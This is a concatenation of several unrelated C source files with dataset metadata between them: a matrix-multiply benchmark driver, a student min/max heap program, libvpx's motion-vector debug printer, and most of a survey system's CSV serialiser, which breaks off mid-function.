/* Generate random matrix Cold */
RandomMatrix( m, n, Cold, ldC );
/* Time reference implementation provided by the BLAS library
routine dgemm (double precision general matrix-matrix
multiplicationn */
for ( irep=0; irep<nrepeats; irep++ ){
/* Copy matrix Cold to Cref */
memcpy( Cref, Cold, ldC * n * sizeof( double ) );
/* start clock */
dtime = FLA_Clock();
/* Compute Cref = A B + Cref */
dgemm_( "No transpose", "No transpose",
&m, &n, &k,
&d_one, A, &ldA,
B, &ldB,
&d_one, Cref, &ldC );
/* stop clock */
dtime = FLA_Clock() - dtime;
/* record the best time so far */
if ( irep == 0 )
dtime_best = dtime;
else
dtime_best = ( dtime < dtime_best ? dtime : dtime_best );
}
printf( " %5d %8.4le %8.4le ", n, dtime_best, gflops/dtime_best );
fflush( stdout ); // We flush the output buffer because otherwise
// it may throw the timings of a next
// experiment.
/* Time MyGemm */
for ( irep=0; irep<nrepeats; irep++ ){
/* Copy vector Cold to C */
memcpy( C, Cold, ldC * n * sizeof( double ) );
/* start clock */
dtime = FLA_Clock();
/* Compute C = A B + C */
MyGemm( m, n, k, A, ldA, B, ldB, C, ldC );
/* stop clock */
dtime = FLA_Clock() - dtime;
if ( irep == 0 )
dtime_best = dtime;
else
dtime_best = ( dtime < dtime_best ? dtime : dtime_best );
}
diff = MaxAbsDiff( m, n, C, ldC, Cref, ldC );
maxdiff = ( diff > maxdiff ? diff : maxdiff );
printf( " %8.4le %8.4le %8.4le\n", dtime_best, gflops/dtime_best, diff );
fflush( stdout ); // We flush the output buffer because otherwise
// it may throw the timings of a next
// experiment.
/* Free the buffers */
free( A );
free( B );
free( C );
free( Cold );
free( Cref );
i++;
}
printf( "];\n\n" );
printf( "%% Maximum difference between reference and your implementation: %le.\n", maxdiff );
exit( 0 );
}
| 2.53125 | 3 |
2024-11-18T20:25:27.611661+00:00 | 2018-08-06T19:42:15 | 894ceac6ecd00f6754052e787bdc440b7a48c153 | {
"blob_id": "894ceac6ecd00f6754052e787bdc440b7a48c153",
"branch_name": "refs/heads/master",
"committer_date": "2018-08-06T19:42:15",
"content_id": "6c44366d1ea27a33cef04d9be2d7e367fe00c5d6",
"detected_licenses": [
"MIT"
],
"directory_id": "8e3080e60ef0b299c12dd3244631676deb8bd62d",
"extension": "c",
"filename": "prog.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 116630668,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1790,
"license": "MIT",
"license_type": "permissive",
"path": "/Heap/MinMaxHeap/prog.c",
"provenance": "stackv2-0028.json.gz:204467",
"repo_name": "nikhilnayak98/CSE3131",
"revision_date": "2018-08-06T19:42:15",
"revision_id": "2dec71be0b009980803373239d6530f20bf1d251",
"snapshot_id": "bddf1ed18c40f8775fc217ae3d271060661340a1",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/nikhilnayak98/CSE3131/2dec71be0b009980803373239d6530f20bf1d251/Heap/MinMaxHeap/prog.c",
"visit_date": "2021-05-14T03:55:22.458877"
} | stackv2 | /*
Name - Nikhil Ranjan Nayak
Regd No - 1641012040
Desc - Min and max heap implementation
*/
#include <stdio.h>
#include <stdlib.h>
int leftchild(int);
int rightchild(int);
int parent(int);
void minheap(int[], int[], int);
void maxheap(int[], int[], int);
void display(int[], int);
void heap_insert(int[], int, int*, int, int);
void bubble_up(int[], int);
void bubble_down(int[], int);
void main()
{
int i, S[] = {0, 7, 8, 14, 10, 9, 16, 2, 3, 1, 4}, n = 11, A[n];
for(i = 0; i < n; i++)
{
A[i] = 0;
}
display(S, n);
minheap(A, S, n);
display(A, n);
}
int leftchild(int i)
{
return (2 * i);
}
int rightchild(int i)
{
return (2 * i) + 1;
}
int parent(int i)
{
return ((i)/ 2);
}
void minheap(int A[], int S[], int n)
{
int i, heapsize = 0, flag = 0;
for(i = 1; i < n; i++)
{
heap_insert(A, S[i], &heapsize, n, flag);
}
}
void maxheap(int A[], int S[], int n)
{
int i, heapsize = 0, flag = 1;
for(i = 1; i < n; i++)
{
heap_insert(A, S[i], &heapsize, n, flag);
}
}
void heap_insert(int A[], int x, int *heapsize, int n, int flag)
{
if(*heapsize >= n)
{
printf("\nHeap is full.");
return ;
}
else
{
*heapsize += 1;
A[*heapsize] = x;
if(flag == 0)
bubble_up(A, *heapsize);
else
bubble_down(A, *heapsize);
}
}
void bubble_up(int A[], int i)
{
if(parent(i) == 0)
return ;
if(A[parent(i)] > A[i])
{
int temp;
temp = A[parent(i)];
A[parent(i)] = A[i];
A[i] = temp;
bubble_up(A, parent(i));
}
}
void bubble_down(int A[], int i)
{
if(parent(i) == 0)
return ;
if(A[parent(i)] < A[i])
{
int temp;
temp = A[parent(i)];
A[parent(i)] = A[i];
A[i] = temp;
bubble_down(A, parent(i));
}
}
void display(int A[], int n)
{
int i;
printf("\n");
for(i = 1; i < n; i++)
{
printf("%d ", A[i]);
}
printf("\n");
}
| 3.6875 | 4 |
2024-11-18T20:25:27.737247+00:00 | 2023-04-07T22:19:18 | 12732c90832816c951ed144fad0a91ce2b62e911 | {
"blob_id": "12732c90832816c951ed144fad0a91ce2b62e911",
"branch_name": "refs/heads/main",
"committer_date": "2023-04-07T22:19:18",
"content_id": "27a97b260c43393b3a2feb199d995e1a77084f23",
"detected_licenses": [],
"directory_id": "3cd3872acbc8b1a79a70b89b2fd58a171e7adc82",
"extension": "c",
"filename": "debugmodes.c",
"fork_events_count": 376,
"gha_created_at": "2014-08-13T19:03:21",
"gha_event_created_at": "2023-03-24T13:37:34",
"gha_language": "C",
"gha_license_id": "BSD-3-Clause",
"github_id": 22927608,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3211,
"license": "",
"license_type": "permissive",
"path": "/vp8/common/debugmodes.c",
"provenance": "stackv2-0028.json.gz:204595",
"repo_name": "webmproject/libvpx",
"revision_date": "2023-04-07T22:19:18",
"revision_id": "6fd360c684736e351160b131827dfbb207841164",
"snapshot_id": "58ab97861063cb521ec0d00ef9cb222ca97873b1",
"src_encoding": "UTF-8",
"star_events_count": 889,
"url": "https://raw.githubusercontent.com/webmproject/libvpx/6fd360c684736e351160b131827dfbb207841164/vp8/common/debugmodes.c",
"visit_date": "2023-04-09T15:32:34.688724"
} | stackv2 | /*
* Copyright (c) 2010 The WebM project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include <stdio.h>
#include "blockd.h"
void vp8_print_modes_and_motion_vectors(MODE_INFO *mi, int rows, int cols,
int frame) {
int mb_row;
int mb_col;
int mb_index = 0;
FILE *mvs = fopen("mvs.stt", "a");
/* print out the macroblock Y modes */
mb_index = 0;
fprintf(mvs, "Mb Modes for Frame %d\n", frame);
for (mb_row = 0; mb_row < rows; ++mb_row) {
for (mb_col = 0; mb_col < cols; ++mb_col) {
fprintf(mvs, "%2d ", mi[mb_index].mbmi.mode);
mb_index++;
}
fprintf(mvs, "\n");
mb_index++;
}
fprintf(mvs, "\n");
mb_index = 0;
fprintf(mvs, "Mb mv ref for Frame %d\n", frame);
for (mb_row = 0; mb_row < rows; ++mb_row) {
for (mb_col = 0; mb_col < cols; ++mb_col) {
fprintf(mvs, "%2d ", mi[mb_index].mbmi.ref_frame);
mb_index++;
}
fprintf(mvs, "\n");
mb_index++;
}
fprintf(mvs, "\n");
/* print out the macroblock UV modes */
mb_index = 0;
fprintf(mvs, "UV Modes for Frame %d\n", frame);
for (mb_row = 0; mb_row < rows; ++mb_row) {
for (mb_col = 0; mb_col < cols; ++mb_col) {
fprintf(mvs, "%2d ", mi[mb_index].mbmi.uv_mode);
mb_index++;
}
mb_index++;
fprintf(mvs, "\n");
}
fprintf(mvs, "\n");
/* print out the block modes */
fprintf(mvs, "Mbs for Frame %d\n", frame);
{
int b_row;
for (b_row = 0; b_row < 4 * rows; ++b_row) {
int b_col;
int bindex;
for (b_col = 0; b_col < 4 * cols; ++b_col) {
mb_index = (b_row >> 2) * (cols + 1) + (b_col >> 2);
bindex = (b_row & 3) * 4 + (b_col & 3);
if (mi[mb_index].mbmi.mode == B_PRED)
fprintf(mvs, "%2d ", mi[mb_index].bmi[bindex].as_mode);
else
fprintf(mvs, "xx ");
}
fprintf(mvs, "\n");
}
}
fprintf(mvs, "\n");
/* print out the macroblock mvs */
mb_index = 0;
fprintf(mvs, "MVs for Frame %d\n", frame);
for (mb_row = 0; mb_row < rows; ++mb_row) {
for (mb_col = 0; mb_col < cols; ++mb_col) {
fprintf(mvs, "%5d:%-5d", mi[mb_index].mbmi.mv.as_mv.row / 2,
mi[mb_index].mbmi.mv.as_mv.col / 2);
mb_index++;
}
mb_index++;
fprintf(mvs, "\n");
}
fprintf(mvs, "\n");
/* print out the block modes */
fprintf(mvs, "MVs for Frame %d\n", frame);
{
int b_row;
for (b_row = 0; b_row < 4 * rows; ++b_row) {
int b_col;
int bindex;
for (b_col = 0; b_col < 4 * cols; ++b_col) {
mb_index = (b_row >> 2) * (cols + 1) + (b_col >> 2);
bindex = (b_row & 3) * 4 + (b_col & 3);
fprintf(mvs, "%3d:%-3d ", mi[mb_index].bmi[bindex].mv.as_mv.row,
mi[mb_index].bmi[bindex].mv.as_mv.col);
}
fprintf(mvs, "\n");
}
}
fprintf(mvs, "\n");
fclose(mvs);
}
| 2.21875 | 2 |
2024-11-18T20:38:20.406039+00:00 | 2023-07-21T02:37:01 | c7cf4502557df6336e2c5bf51b307d90eee85aff | {
"blob_id": "c7cf4502557df6336e2c5bf51b307d90eee85aff",
"branch_name": "refs/heads/master",
"committer_date": "2023-07-21T02:37:01",
"content_id": "7f7ccd1d8c9a8841318e2dd23b6a3a8050f495c6",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "2f5f8be3a1886cdad4e9c1b84723fa439c4baae6",
"extension": "c",
"filename": "serialisers.c",
"fork_events_count": 1,
"gha_created_at": "2018-07-30T20:48:47",
"gha_event_created_at": "2023-07-21T02:37:02",
"gha_language": "C",
"gha_license_id": "BSD-2-Clause",
"github_id": 142926685,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 32278,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/backend/src/serialisers.c",
"provenance": "stackv2-0029.json.gz:114",
"repo_name": "gardners/surveysystem",
"revision_date": "2023-07-21T02:37:01",
"revision_id": "83e6fa2ba26bde1f7394814f3eff94ba6da6bf52",
"snapshot_id": "12cb0deffe7e8c800f3c5e037a8120758d6df6a8",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/gardners/surveysystem/83e6fa2ba26bde1f7394814f3eff94ba6da6bf52/backend/src/serialisers.c",
"visit_date": "2023-07-23T12:14:52.528397"
} | stackv2 | /*
Serialisers and de-serialisers for various structures.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "utils.h"
#include "errorlog.h"
#include "question_types.h"
#include "survey.h"
#include "serialisers.h"
// #366, set retVal condition to < 0
#define REPORT_IF_FAILED() \
{ \
if (retVal < 0) \
fprintf(stderr, "%s:%d: %s() failed.\n", __FILE__, __LINE__, \
__FUNCTION__); \
}
/*
Escape a string so that it can be safely embedded in a CSV file, that uses colons as delimeters
*/
int escape_string(char *in, char *out, int max_len) {
int out_len = 0;
// #421 allow NULL pointers
if (in == NULL) {
out[0] = 0;
return 0;
}
for (int i = 0; in[i]; i++) {
if ((out_len + 1) >= max_len) {
LOG_WARNV("escaped version of string '%s' is too long", out);
out[out_len] = 0;
return 0;
}
switch (in[i]) {
case '\r':
out[out_len++] = '\\';
out[out_len++] = 'r';
break;
case '\n':
out[out_len++] = '\\';
out[out_len++] = 'n';
break;
case '\t':
out[out_len++] = '\\';
out[out_len++] = 't';
break;
case '\b':
out[out_len++] = '\\';
out[out_len++] = 'b';
break;
case ':':
out[out_len++] = '\\';
out[out_len++] = ':';
break;
default:
out[out_len++] = in[i];
}
} // endfor
out[out_len] = 0;
return out_len;
}
int serialiser_count_columns(char separator, char *line) {
int retVal = 0;
int count = 1;
do {
if (!line) {
BREAK_ERROR("line is NULL");
}
char prev = ' ';
for(int i = 0; line[i] != '\0'; i++) {
if(prev != '\\' && line[i] == '\n') {
BREAK_ERROR("multi line string: not allowed. line break detected");
break;
}
if(prev != '\\' && line[i] == separator) {
count++;
}
prev = line[i];
}
} while (0);
if (!retVal) {
retVal = count;
}
return retVal;
}
/*
Write out an integer in a format that can be embedded in a CSV file
*/
int serialise_int(int in, char *out, int max_len) {
int retVal = 0;
char temp[16];
do {
snprintf(temp, 16, "%d", in);
if (strlen(temp) >= max_len) {
BREAK_ERRORV("integer converts to over-long string '%s...'", temp);
} else {
strcpy(out, temp);
retVal = strlen(temp);
}
} while (0);
return retVal;
}
/*
Write out a 64-bit integer in a format that can be embedded in a CSV file
*/
int serialise_longlong(long long in, char *out, int max_len) {
int retVal = 0;
char temp[32];
do {
snprintf(temp, 32, "%lld", in);
if (strlen(temp) >= max_len) {
BREAK_ERRORV("long long converts to over-long string '%s...'", temp);
} else {
strcpy(out, temp);
retVal = strlen(temp);
}
} while (0);
return retVal;
}
/*
Check if adding append_len to existing_len would exceed max_len
*/
int space_check(int append_len, int existing_len, int max_len) {
int retVal = 0;
do {
if ((existing_len + append_len) > max_len) {
BREAK_ERRORV("Insufficient space to append string of %d chars", append_len);
}
} while (0);
return retVal;
}
/*
Parse the next colon delimited field from the input
string in, at position *in_offset.
De-escape colons and selected control characters that we
allow.
*/
int deserialise_parse_field(char *in, int *in_offset, char *out) {
int retVal = 0;
int offset = *in_offset;
int olen = 0;
do {
if (offset) {
if (in[offset] != ':') {
BREAK_ERRORV("Expected : before next field when deseralising at offset "
"%d of '%s'\n",
offset, in);
break;
} else {
offset++;
}
}
out[olen] = 0;
if (!in)
BREAK_ERROR("input string is NULL");
if (!in[0])
BREAK_ERROR("input string is empty");
for (; in[offset] && (olen < 16383) && in[offset] != ':'; offset++) {
// Allow some \ escape characters
if (in[offset] == '\\') {
if (!in[offset + 1])
BREAK_ERRORV("String '%s' ends in \\\n", in);
switch (in[offset + 1]) {
case ':':
case '\\':
out[olen++] = in[offset + 1];
break;
case 'r':
out[olen++] = '\r';
break;
case 'n':
out[olen++] = '\n';
break;
case 't':
out[olen++] = '\t';
break;
case 'b':
out[olen++] = '\b';
break;
default:
BREAK_ERRORV("Illegal escape character 0x%02x at offset %d of '%s'\n",
in[offset + 1], offset + 1, in);
break;
}
offset++;
out[olen] = 0;
} else {
out[olen++] = in[offset];
out[olen] = 0;
}
} // endfor
*in_offset = offset;
} while (0);
return retVal;
}
/*
Take an integer from a CSV field, and turn it back into a C int
*/
int deserialise_int(char *field, int *s) {
int retVal = 0;
do {
if (!field)
BREAK_ERROR("int field '%s' is NULL");
if (!strlen(field))
BREAK_ERROR("int field '%s' is empty string");
int offset = 0;
if (field[offset] == '-') {
offset++;
}
for (int i = offset; field[i]; i++) {
if (field[i] < '0' || field[i] > '9') {
BREAK_ERRORV("int field '%s' contains non-digit", field);
}
}
if (!retVal) {
*s = atoi(field);
}
} while (0);
return retVal;
}
/*
Take a 64-bit integer from a CSV field, and turn it back into a C long long
*/
int deserialise_longlong(char *field, long long *s) {
int retVal = 0;
do {
if (!field)
BREAK_ERROR("long long field '%s' is NULL");
if (!strlen(field))
BREAK_ERROR("long long field '%s' is empty string");
int offset = 0;
if (field[offset] == '-') {
offset++;
}
for (int i = offset; field[i]; i++) {
if (field[i] < '0' || field[i] > '9') {
BREAK_ERRORV("long long field '%s' contains non-digit", field);
}
}
if (!retVal) {
*s = atoll(field);
}
} while (0);
return retVal;
}
/*
Take a string from a CSV field, and store it in a C char *.
(This is mostly a pass-through, and exists so that there is a common
interface for all deserialisation functions, so that the short-hand macros
can be used to make the top-level serialisation and deserialisation code
work.
*/
int deserialise_string(char *field, char **s) {
int retVal = 0;
do {
*s = NULL;
if (!field) {
BREAK_ERROR("string field is NULL");
} else {
*s = strdup(field);
}
if (!*s) {
BREAK_ERROR("string field is empty string");
}
} while (0);
return retVal;
}
/*
A set of macros that we use to perform deserialisation.
_BEGIN sets up the necessary environment, including providing the
string buffer to store each parsesd field.
_COMPLETE ends the same, and checks that we used the entire string.
_NEXT_FIELD parses out the next field, ready for reconstituting.
_THING calls _NEXT_FIELD, and then calls the appropriate deserialiser
to parse the field, and store it into the correct field of the data
structure.
The remaining three are wrappers for _THING that provide the most
common deserialisers as arguments, to make the high-level deserialisation
code as simple as possible.
All macros eventually will call BREAK_ERROR and break out of the parsing
if any error occurs, and will record the specific error, making it much easier
to debug when things go wrong.
*/
#define DESERIALISE_BEGIN(O, L, ML) \
{ \
int offset = 0; \
char field[16384];
#define DESERIALISE_COMPLETE(O, L, ML) \
if (offset < L) { \
BREAK_ERROR("Junk at end of serialised object"); \
} \
}
#define DESERIALISE_NEXT_FIELD() \
if (deserialise_parse_field(in, &offset, field)) { \
BREAK_ERRORV("failed to parse next field '%s' at offset %d", &in[offset], \
offset); \
}
#define DESERIALISE_THING(S, DESERIALISER) \
DESERIALISE_NEXT_FIELD(); \
if (DESERIALISER(field, &S)) { \
BREAK_ERRORV("call to " #DESERIALISER " failed with string '%s'", field); \
}
#define DESERIALISE_INT(S) DESERIALISE_THING(S, deserialise_int)
#define DESERIALISE_STRING(S) DESERIALISE_THING(S, deserialise_string);
#define DESERIALISE_LONGLONG(S) DESERIALISE_THING(S, deserialise_longlong)
/*
We then have a similar set of macros for the serialisation process.
APPEND_STRING and APPEND_COLON append to the serialised string being
built.
We then have _BEGIN and _COMPLETE macros, similar for deserialisation.
Also, the _THING and derivative macros perform the opposite of the
DESERIALISE_* equivalents. The result is that the serialiser and
deserialiser code at the top level looks almosts identical, except for
the DE prefix on the macros for deserialising. This is designed to help
keep the serialiser and deserialiser functions for given structures in
step, even if the structure contents evolves over time.
*/
#define APPEND_STRING(NEW, NL, O, L) \
{ \
strcpy(&O[L], NEW); \
L += NL; \
}
#define APPEND_COLON(O, L, ML) \
{ \
if (space_check(1, L, ML)) { \
BREAK_ERROR("serialised string too long"); \
} \
O[L++] = ':'; \
O[L] = 0; \
}
#define SERIALISE_BEGIN(O, L, ML) \
{ \
int encoded_len = 0; \
const int encoded_max_len = MAX_LINE; \
char encoded[encoded_max_len]; \
L = 0;
#define SERIALISE_COMPLETE(O, L, ML) \
if (L > 0) { \
L--; \
O[L] = 0; \
} \
}
#define SERIALISE_THING(S, SERIALISER) \
encoded_len = SERIALISER(S, encoded, encoded_max_len); \
if (encoded_len < 0) \
break; \
if (space_check(encoded_len, len, max_len)) \
break; \
APPEND_STRING(encoded, encoded_len, out, len); \
APPEND_COLON(out, len, max_len);
#define SERIALISE_STRING(S) SERIALISE_THING(S, escape_string);
#define SERIALISE_INT(S) SERIALISE_THING(S, serialise_int);
#define SERIALISE_LONGLONG(S) SERIALISE_THING(S, serialise_longlong);
/*
Question types are an ENUM, and for clarity in the question definitions we
store the strings rather than uninteligible ENUM index values.
*/
int serialise_question_type(int qt, char *out, int out_max_len) {
int retVal = 0;
do {
if (qt < 1) {
BREAK_ERRORV("was asked to serialise an illegal question type #%d", qt);
}
if (qt > NUM_QUESTION_TYPES) {
BREAK_ERRORV("was asked to serialise an illegal question type #%d", qt);
}
if (strlen(question_type_names[qt]) >= out_max_len) {
BREAK_ERRORV("question type '%s' name too long", question_type_names[qt]);
}
strcpy(out, question_type_names[qt]);
retVal = strlen(out);
} while (0);
REPORT_IF_FAILED();
return retVal;
}
int deserialise_question_type(char *field, int *s) {
int retVal = 0;
do {
int qt;
for (qt = 1; qt <= NUM_QUESTION_TYPES; qt++) {
if (!strcasecmp(field, question_type_names[qt])) {
retVal = 0;
*s = qt;
break;
}
}
if (qt > NUM_QUESTION_TYPES) {
BREAK_ERRORV("invalid question type name '%s'", field);
}
} while (0);
return retVal;
}
/**
* appends fragment to a char* pointer, divided by a given separator
* - this function allocates all required memory, for starting a list pass in an unallocated NULL pointer
* - the callee is required to free the allocated memory himself
* - the separator can be disabled by using the NULL byte, the fragment will then be appended without separator
*
* #482, #461
*/
char *serialise_list_append_alloc(char *src, char *in, const char separator) {
int retVal = 0;
do {
if (!in) {
LOG_WARNV("fragment to append is NULL, skipping", 0);
break;
}
size_t slen = (src) ? strlen(src) : 0;
size_t ilen = (in) ? strlen(in) : 0;
size_t cap = slen + ilen;
cap += 2; // separator + NUL (we are wasting one byte if !src)
src = realloc(src, cap * sizeof(char));
if(!src) {
BREAK_ERROR("error reallocating memory for src char*");
}
// add separator if in is not first element
if(slen && slen) {
src[slen] = separator;
if(separator) {
slen++;
}
}
size_t i = 0;
while (i < ilen) {
src[slen + i] = in[i];
i++;
}
src[slen + i] = '\0';
} while (0);
if (retVal) {
LOG_WARNV("error appending fragment '%s'", in);
}
return src;
}
/**
* deserialises a string into a char** array by a given separator.
* if *in is NULL then an empty list will be returned
*/
struct string_list *deserialise_string_list(char *in, const char separator) {
int retVal = 0;
struct string_list *list = NULL;
do {
list = calloc(1, sizeof(struct string_list));
BREAK_IF(list == NULL, SS_ERROR_MEM, "string list");
if(!in) {
break; //return empty, allocated list
}
int count = serialiser_count_columns(',', in);
if(!count) {
break;
}
list->items = malloc(count * sizeof(char*));
BREAK_IF(list->items == NULL, SS_ERROR_MEM, "string list items ptr");
char *sav;
char *line = parse_line(in, separator, &sav);
while(line != NULL) {
list->items[list->len] = line; // allocated already
list->len++;
// next
line = parse_line(NULL, separator, &sav);
}
} while (0);
if (retVal) {
free_string_list(list);
return NULL;
}
return list;
}
void free_string_list(struct string_list *list) {
if (!list) {
return;
}
for (size_t i = 0; i < list->len; i++) {
free(list->items[i]);
}
list->len = 0;
free(list);
}
/**
* deserialises a string into a char** array by a given separator.
*/
char **deserialise_list_alloc(char *in, const char separator, size_t *len) {
int retVal = 0;
char **list = NULL;
do {
*(len) = 0; // set length to zero before handling input
if(!in) {
break;
}
int count = serialiser_count_columns(',', in);
list = malloc(count * sizeof(char*));
if (!list) {
BREAK_ERROR("error allocating memory for char** list ptr");
}
char *sav;
char *line = parse_line(in, separator, &sav);
while(line != NULL) {
list[*(len)] = line; // allocated already
// next
*(len)= *(len) + 1;
line = parse_line(NULL, separator, &sav);
}
} while (0);
if (retVal) {
return NULL;
}
return list;
}
/*
Top-level function for serialising a question that has been passed in
in a struct question. It uses the various macros defined above to
make a very clear and succinct description of what is required.
*/
int serialise_question(struct question *q, char *out, int max_len) {
int retVal = 0;
do {
int len = 0;
SERIALISE_BEGIN(out, len, max_len);
SERIALISE_STRING(q->uid);
SERIALISE_STRING(q->question_text);
SERIALISE_STRING(q->question_html);
SERIALISE_THING(q->type, serialise_question_type);
SERIALISE_INT(q->flags);
SERIALISE_STRING(q->default_value);
SERIALISE_LONGLONG(q->min_value);
SERIALISE_LONGLONG(q->max_value);
SERIALISE_INT(q->decimal_places);
SERIALISE_INT(q->num_choices);
SERIALISE_STRING(q->choices);
// #72 unit field
SERIALISE_STRING(q->unit);
// Trim terminal separator character
SERIALISE_COMPLETE(out, len, max_len);
} while (0);
return retVal;
}
/*
For debugging it can be helpful to dump a question structure to
stdout or a file.
*/
int dump_question(FILE *f, struct question *q) {
int retVal = 0;
do {
fprintf(f,
"{\n"
" uid: \"%s\"\n"
" question_text: \"%s\"\n"
" question_html: \"%s\"\n"
" question type: \"%s\"\n"
" flags: 0x%08X\n"
" default_value: \"%s\"\n"
" min_value: %lld\n"
" max_value: %lld\n"
" decimal_places: %d\n"
" num_choices: %d\n"
" unit: \"%s\"\n"
"}\n",
(q->uid) ? q->uid : "(null)",
(q->question_text) ? q->question_text : "(null)",
(q->question_html) ? q->question_html : "(null)",
(q->type >= 1 && q->type <= NUM_QUESTION_TYPES) ? question_type_names[q->type] : "<unknown>",
q->flags,
(q->default_value) ? q->default_value : "(null)",
q->min_value,
q->max_value,
q->decimal_places,
q->num_choices,
(q->unit) ? q->unit : "(null)"
);
} while (0);
return retVal;
}
/*
For debugging it can be helpful to dump an answer structure to
stdout or a file.
*/
int dump_answer(FILE *f, struct answer *a) {
int retVal = 0;
do {
fprintf(f,
"{\n"
" uid: \"%s\"\n"
" type: \"%s\"\n"
" text: \"%s\"\n"
" value: %lld\n"
" lat: %lld\n"
" lon: %lld\n"
" time_begin: %lld\n"
" time_end: %lld\n"
" time_zone_delta: %d\n"
" dst_delta: %d\n"
" unit: \"%s\"\n"
" flags: %d\n"
" stored: %lld\n"
"}\n",
(a->uid) ? a->uid : "(null)",
(a->type >= 1 && a->type <= NUM_QUESTION_TYPES) ? question_type_names[a->type] : "<unknown>",
(a->text) ? a->text : "(null)",
a->value,
a->lat,
a->lon,
a->time_begin,
a->time_end,
a->time_zone_delta,
a->dst_delta,
(a->unit) ? a->unit : "(null)",
a->flags,
a->stored
);
} while (0);
return retVal;
}
/*
This should match exactly the field order and types as used
in serialise_question(), so that it can reconstute a
question structure from a serialised string version of a
question.
*/
int deserialise_question(char *in, struct question *q) {
int retVal = 0;
int len = 0;
do {
DESERIALISE_BEGIN(out, len, max_len);
DESERIALISE_STRING(q->uid);
DESERIALISE_STRING(q->question_text);
DESERIALISE_STRING(q->question_html);
DESERIALISE_THING(q->type, deserialise_question_type);
DESERIALISE_INT(q->flags);
DESERIALISE_STRING(q->default_value);
DESERIALISE_LONGLONG(q->min_value);
DESERIALISE_LONGLONG(q->max_value);
DESERIALISE_INT(q->decimal_places);
DESERIALISE_INT(q->num_choices);
DESERIALISE_STRING(q->choices);
// #72 unit field
DESERIALISE_STRING(q->unit);
// Check that we are at the end of the input string
DESERIALISE_COMPLETE(out, len, max_len);
} while (0);
return retVal;
}
/**
* Top-level function for serialising a answer that has been passed in
* in a struct answer. It uses the various macros defined above to
* make a very clear and succinct description of what is required.
*
* #72, add unit field
* #162, add storage timestamp
* #186, add "answer deleted" flag
* #274, add visibility scope
* #358, add question type
* #413, add pre-validation (column count)
* #448 remove 'unit' from public answer
*/
int serialise_answer(struct answer *a, enum answer_scope scope, char *out, int max_len) {
int retVal = 0;
do {
int len = 0;
switch (scope) {
case ANSWER_SCOPE_PUBLIC:
SERIALISE_BEGIN(out, len, max_len);
SERIALISE_STRING(a->uid);
SERIALISE_STRING(a->text);
SERIALISE_LONGLONG(a->value);
SERIALISE_LONGLONG(a->lat);
SERIALISE_LONGLONG(a->lon);
SERIALISE_LONGLONG(a->time_begin);
SERIALISE_LONGLONG(a->time_end);
SERIALISE_INT(a->time_zone_delta);
SERIALISE_INT(a->dst_delta);
SERIALISE_COMPLETE(out, len, max_len);
break;
case ANSWER_SCOPE_CHECKSUM:
SERIALISE_BEGIN(out, len, max_len);
SERIALISE_STRING(a->uid);
SERIALISE_THING(a->type, serialise_question_type);
SERIALISE_STRING(a->text);
SERIALISE_LONGLONG(a->value);
SERIALISE_LONGLONG(a->lat);
SERIALISE_LONGLONG(a->lon);
SERIALISE_LONGLONG(a->time_begin);
SERIALISE_LONGLONG(a->time_end);
SERIALISE_INT(a->time_zone_delta);
SERIALISE_INT(a->dst_delta);
SERIALISE_STRING(a->unit);
SERIALISE_INT(a->flags);
SERIALISE_COMPLETE(out, len, max_len);
break;
default:
SERIALISE_BEGIN(out, len, max_len);
SERIALISE_STRING(a->uid);
SERIALISE_THING(a->type, serialise_question_type);
SERIALISE_STRING(a->text);
SERIALISE_LONGLONG(a->value);
SERIALISE_LONGLONG(a->lat);
SERIALISE_LONGLONG(a->lon);
SERIALISE_LONGLONG(a->time_begin);
SERIALISE_LONGLONG(a->time_end);
SERIALISE_INT(a->time_zone_delta);
SERIALISE_INT(a->dst_delta);
SERIALISE_STRING(a->unit);
SERIALISE_INT(a->flags);
SERIALISE_LONGLONG(a->stored);
SERIALISE_COMPLETE(out, len, max_len);
}
} while (0);
return retVal;
}
/**
* The top-level function for converting a CSV string
* representation of an answer structure back into a live
* structure. As with {de,}serialise_question(),
* this function and serialise_answer() must be matched
* in the order and list of fields that they process.
*
* #72, add unit field
* #162, add storage timestamp
* #186, add "answer deleted" flag
* #274, add visibility scope
* #358, add question type
* #413, add pre-validation (column count)
* #448 remove 'unit' from public answer
*/
int deserialise_answer(char *in, enum answer_scope scope, struct answer *a) {
int retVal = 0;
do {
int len = 0;
if (!in) {
BREAK_ERROR("answer string is null");
}
int cols = serialiser_count_columns(':', in);
if (cols < 0) {
BREAK_ERROR("invalid answer line");
}
if (cols != scope) {
BREAK_ERRORV("invalid column count in answer line: %d != %d", cols, scope);
}
switch (scope) {
case ANSWER_SCOPE_PUBLIC:
DESERIALISE_BEGIN(out, len, max_len);
DESERIALISE_STRING(a->uid);
DESERIALISE_STRING(a->text);
DESERIALISE_LONGLONG(a->value);
DESERIALISE_LONGLONG(a->lat);
DESERIALISE_LONGLONG(a->lon);
DESERIALISE_LONGLONG(a->time_begin);
DESERIALISE_LONGLONG(a->time_end);
DESERIALISE_INT(a->time_zone_delta);
DESERIALISE_INT(a->dst_delta);
DESERIALISE_COMPLETE(out, len, max_len);
break;
case ANSWER_SCOPE_CHECKSUM:
DESERIALISE_BEGIN(out, len, max_len);
DESERIALISE_STRING(a->uid);
DESERIALISE_THING(a->type, deserialise_question_type);
DESERIALISE_STRING(a->text);
DESERIALISE_LONGLONG(a->value);
DESERIALISE_LONGLONG(a->lat);
DESERIALISE_LONGLONG(a->lon);
DESERIALISE_LONGLONG(a->time_begin);
DESERIALISE_LONGLONG(a->time_end);
DESERIALISE_INT(a->time_zone_delta);
DESERIALISE_INT(a->dst_delta);
DESERIALISE_STRING(a->unit);
DESERIALISE_INT(a->flags);
DESERIALISE_COMPLETE(out, len, max_len);
break;
default:
